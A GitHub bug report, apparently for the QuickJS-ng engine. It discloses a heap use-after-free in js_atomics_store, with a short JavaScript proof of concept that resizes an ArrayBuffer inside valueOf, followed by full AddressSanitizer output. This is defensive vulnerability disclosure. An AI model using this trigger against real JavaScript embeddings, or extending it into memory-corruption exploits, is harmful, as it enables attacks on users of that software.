Skip to content

Heap use after free in js_atomics_store #1301

@Mcsky23

Description

@Mcsky23

Overview

js_atomics_store calls js_atomics_get_ptr, which caches a pointer on the heap. When ret = JS_ToIntegerFree(...) is called, side-effects of arbitrary JS code can trigger an array buffer resize. This moves the buffer and frees the old memory, invalidating the cached ptr and triggering a Use-After-Free (UAF) at atomic_store((_Atomic(uint32_t) *)ptr, v);.

PoC

const rab = new ArrayBuffer(1024, { maxByteLength: 1024 * 1024 });
const i32 = new Int32Array(rab);
const evil = {
    valueOf: () => {
        console.log("resize buffer");
        rab.resize(0); 
        return 123;
    }
};
Atomics.store(i32, 0, evil);

ASAN output:

=================================================================
==63792==ERROR: AddressSanitizer: heap-use-after-free on address 0x519000002880 at pc 0x5f1516ed0141 bp 0x7ffd088c1810 sp 0x7ffd088c1800
WRITE of size 4 at 0x519000002880 thread T0
    #0 0x5f1516ed0140 in js_atomics_store (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1db140) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #1 0x5f1516e8b811 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x196811) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #2 0x5f1516d62863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #3 0x5f1516d63da4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #4 0x5f1516eea921 in js_async_function_resume (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f5921) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #5 0x5f1516eeff30 in js_async_function_call.constprop.0 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1faf30) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #6 0x5f1516ef0454 in js_execute_sync_module (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1fb454) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #7 0x5f1516ef56b5 in js_inner_module_evaluation (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x2006b5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #8 0x5f1516efaa7d in JS_EvalFunction (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x205a7d) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #9 0x5f1516d28ffc in main (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x33ffc) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #10 0x70c553a2a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #11 0x70c553a2a47a in __libc_start_main_impl ../csu/libc-start.c:360
    #12 0x5f1516d297d4 in _start (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x347d4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)

0x519000002880 is located 0 bytes inside of 1024-byte region [0x519000002880,0x519000002c80)
freed by thread T0 here:
    #0 0x70c553efc778 in realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:85
    #1 0x5f1516dca2ca in js_realloc (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xd52ca) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #2 0x5f1516ebfd05 in js_array_buffer_resize (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1cad05) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #3 0x5f1516e8b6d5 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1966d5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #4 0x5f1516d62863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #5 0x5f1516d63da4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #6 0x5f1516d9cf5e in JS_CallFree (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xa7f5e) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #7 0x5f1516e0729b in JS_ToPrimitiveFree (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x11229b) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #8 0x5f1516e0885f in JS_ToNumberHintFree (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x11385f) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #9 0x5f1516e0ada1 in JS_ToIntegerFree (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x115da1) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #10 0x5f1516ecfd1a in js_atomics_store (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1dad1a) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #11 0x5f1516e8b811 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x196811) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #12 0x5f1516d62863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #13 0x5f1516d63da4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #14 0x5f1516eea921 in js_async_function_resume (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f5921) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #15 0x5f1516eeff30 in js_async_function_call.constprop.0 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1faf30) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #16 0x5f1516ef0454 in js_execute_sync_module (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1fb454) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #17 0x5f1516ef56b5 in js_inner_module_evaluation (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x2006b5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #18 0x5f1516efaa7d in JS_EvalFunction (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x205a7d) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #19 0x5f1516d28ffc in main (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x33ffc) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #20 0x70c553a2a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #21 0x70c553a2a47a in __libc_start_main_impl ../csu/libc-start.c:360
    #22 0x5f1516d297d4 in _start (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x347d4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)

previously allocated by thread T0 here:
    #0 0x70c553efd340 in calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:77
    #1 0x5f1516dc3bea in js_mallocz (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xcebea) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #2 0x5f1516f426c0 in js_array_buffer_constructor (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x24d6c0) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #3 0x5f1516e8b811 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x196811) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #4 0x5f1516ee7234 in JS_CallConstructorInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f2234) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #5 0x5f1516d735e9 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x7e5e9) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #6 0x5f1516eea921 in js_async_function_resume (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f5921) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #7 0x5f1516eeff30 in js_async_function_call.constprop.0 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1faf30) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #8 0x5f1516ef0454 in js_execute_sync_module (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1fb454) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #9 0x5f1516ef56b5 in js_inner_module_evaluation (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x2006b5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #10 0x5f1516efaa7d in JS_EvalFunction (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x205a7d) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #11 0x5f1516d28ffc in main (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x33ffc) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #12 0x70c553a2a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #13 0x70c553a2a47a in __libc_start_main_impl ../csu/libc-start.c:360
    #14 0x5f1516d297d4 in _start (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x347d4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)

SUMMARY: AddressSanitizer: heap-use-after-free (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1db140) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56) in js_atomics_store
Shadow bytes around the buggy address:
  0x519000002600: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x519000002680: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x519000002700: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x519000002780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x519000002800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x519000002880:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x519000002900: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x519000002980: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x519000002a00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x519000002a80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x519000002b00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==63792==ABORTING

Reporter credit: mcsky23 (Vlad Ionut Seba)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions